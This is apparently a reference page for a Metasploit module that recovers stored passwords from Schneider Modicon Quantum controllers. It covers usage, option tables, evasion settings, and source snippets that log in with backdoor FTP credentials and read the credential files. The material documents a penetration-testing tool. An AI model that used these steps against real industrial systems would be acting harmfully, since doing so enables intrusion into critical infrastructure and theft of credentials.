Schneider Modicon Quantum Password Recovery - Metasploit


This page contains detailed information about how to use the auxiliary/admin/scada/modicon_password_recovery metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Schneider Modicon Quantum Password Recovery
Module: auxiliary/admin/scada/modicon_password_recovery
Source code: modules/auxiliary/admin/scada/modicon_password_recovery.rb
Disclosure date: 2012-01-19
Last modification time: 2022-08-08 01:40:15 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: ftp
Target network port(s): 21, 2121
List of CVEs: -

The Schneider Modicon Quantum series of Ethernet cards store usernames and passwords for the system in files that may be retrieved via backdoor access. This module is based on the original 'modiconpass.rb' Basecamp module from DigitalBond.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/admin/scada/modicon_password_recovery
msf auxiliary(modicon_password_recovery) > show targets
    ... a list of targets ...
msf auxiliary(modicon_password_recovery) > set TARGET target-id
msf auxiliary(modicon_password_recovery) > show options
    ... show and set options ...
msf auxiliary(modicon_password_recovery) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Go back to menu.

Msfconsole Usage


Here is how the admin/scada/modicon_password_recovery auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/scada/modicon_password_recovery

msf6 auxiliary(admin/scada/modicon_password_recovery) > show info

       Name: Schneider Modicon Quantum Password Recovery
     Module: auxiliary/admin/scada/modicon_password_recovery
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-01-19

Provided by:
  K. Reid Wightman <[email protected]>
  todb <[email protected]>

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  FTPPASS  password         yes       The backdoor password to use for login
  FTPUSER  ftpuser          yes       The backdoor account to use for login
  RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT    21               yes       The target port (TCP)

Description:
  The Schneider Modicon Quantum series of Ethernet cards store 
  usernames and passwords for the system in files that may be 
  retrieved via backdoor access. This module is based on the original 
  'modiconpass.rb' Basecamp module from DigitalBond.

References:
  http://www.digitalbond.com/tools/basecamp/metasploit-modules/

Module Options


This is a complete list of options available in the admin/scada/modicon_password_recovery auxiliary module:

msf6 auxiliary(admin/scada/modicon_password_recovery) > show options

Module options (auxiliary/admin/scada/modicon_password_recovery):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   FTPPASS  password         yes       The backdoor password to use for login
   FTPUSER  ftpuser          yes       The backdoor account to use for login
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    21               yes       The target port (TCP)

Advanced Options


Here is a complete list of advanced options supported by the admin/scada/modicon_password_recovery auxiliary module:

msf6 auxiliary(admin/scada/modicon_password_recovery) > show advanced

Module advanced options (auxiliary/admin/scada/modicon_password_recovery):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   CHOST                            no        The local client address
   CPORT                            no        The local client port
   ConnectTimeout  10               yes       Maximum number of seconds to establish a TCP connection
   FTPDEBUG        false            no        Whether or not to print verbose debug statements
   FTPTimeout      16               yes       The number of seconds to wait for a reply from an FTP command
   PassiveMode     false            no        Set true for extended passive (EPSV) ftp mode.
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   RUN_CHECK       true             no        Check if the device is really a Modicon device
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                        no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode   PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion      Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE         false            no        Enable detailed status messages
   WORKSPACE                        no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the admin/scada/modicon_password_recovery module can do:

msf6 auxiliary(admin/scada/modicon_password_recovery) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the admin/scada/modicon_password_recovery auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/scada/modicon_password_recovery) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<IP>:<RPORT> - FTP - Cannot connect, skipping


Here is a relevant code snippet related to the "<IP>:<RPORT> - FTP - Cannot connect, skipping" error message:

63:	    if sock
64:	      # It's a weak fingerprint, but it's something
65:	      is_modicon = check_banner()
66:	      disconnect
67:	    else
68:	      vprint_error "#{ip}:#{rport} - FTP - Cannot connect, skipping"
69:	      return Exploit::CheckCode::Unknown
70:	    end
71:	
72:	    if is_modicon
73:	      vprint_status "#{ip}:#{rport} - FTP - Matches Modicon fingerprint"

<IP>:<RPORT> - FTP - Skipping due to fingerprint mismatch


Here is a relevant code snippet related to the "<IP>:<RPORT> - FTP - Skipping due to fingerprint mismatch" error message:

71:	
72:	    if is_modicon
73:	      vprint_status "#{ip}:#{rport} - FTP - Matches Modicon fingerprint"
74:	      return Exploit::CheckCode::Detected
75:	    else
76:	      vprint_error "#{ip}:#{rport} - FTP - Skipping due to fingerprint mismatch"
77:	    end
78:	
79:	    return Exploit::CheckCode::Safe
80:	  end
81:	

RUN_CHECK


Here is a relevant code snippet related to the "RUN_CHECK" error message:

78:	
79:	    return Exploit::CheckCode::Safe
80:	  end
81:	
82:	  def run
83:	    if datastore['RUN_CHECK'] and check == Exploit::CheckCode::Detected
84:	      print_status("Service detected.")
85:	      grab() if setup_ftp_connection()
86:	    else
87:	      grab() if setup_ftp_connection()
88:	    end

<IP>:<RPORT> - FTP - Login failed


Here is a relevant code snippet related to the "<IP>:<RPORT> - FTP - Login failed" error message:

128:	        service_name: 'modicon',
129:	        proof: "connect_login: #{conn}"
130:	      )
131:	      return true
132:	    else
133:	      print_error("#{ip}:#{rport} - FTP - Login failed")
134:	      return false
135:	    end
136:	  end
137:	
138:	  def cleanup

<IP>:<RPORT> - FTP - password retrieval error


Here is a relevant code snippet related to the "<IP>:<RPORT> - FTP - password retrieval error" error message:

161:	    end
162:	    ftpcreds = ftp_gettextfile('/FLASH0/ftp/ftp.ini')
163:	    if ftpcreds
164:	      print_status "#{ip}:#{rport} - FTP - password retrieval: success"
165:	    else
166:	      print_error "#{ip}:#{rport} - FTP - password retrieval error"
167:	    end
168:	    writecreds = ftp_gettextfile('/FLASH0/rdt/password.rde')
169:	    if writecreds
170:	      print_status "#{ip}:#{rport} - FTP - Write password retrieval: success"
171:	    else

<IP>:<RPORT> - FTP - Write password error


Here is a relevant code snippet related to the "<IP>:<RPORT> - FTP - Write password error" error message:

167:	    end
168:	    writecreds = ftp_gettextfile('/FLASH0/rdt/password.rde')
169:	    if writecreds
170:	      print_status "#{ip}:#{rport} - FTP - Write password retrieval: success"
171:	    else
172:	      print_error "#{ip}:#{rport} - FTP - Write password error"
173:	    end
174:	    if httpcreds
175:	      httpuser = httpcreds[1].split(/[\r\n]+/)[0]
176:	      httppass = httpcreds[1].split(/[\r\n]+/)[1]
177:	    else

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • K. Reid Wightman <wightman[at]digitalbond.com>
  • todb

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.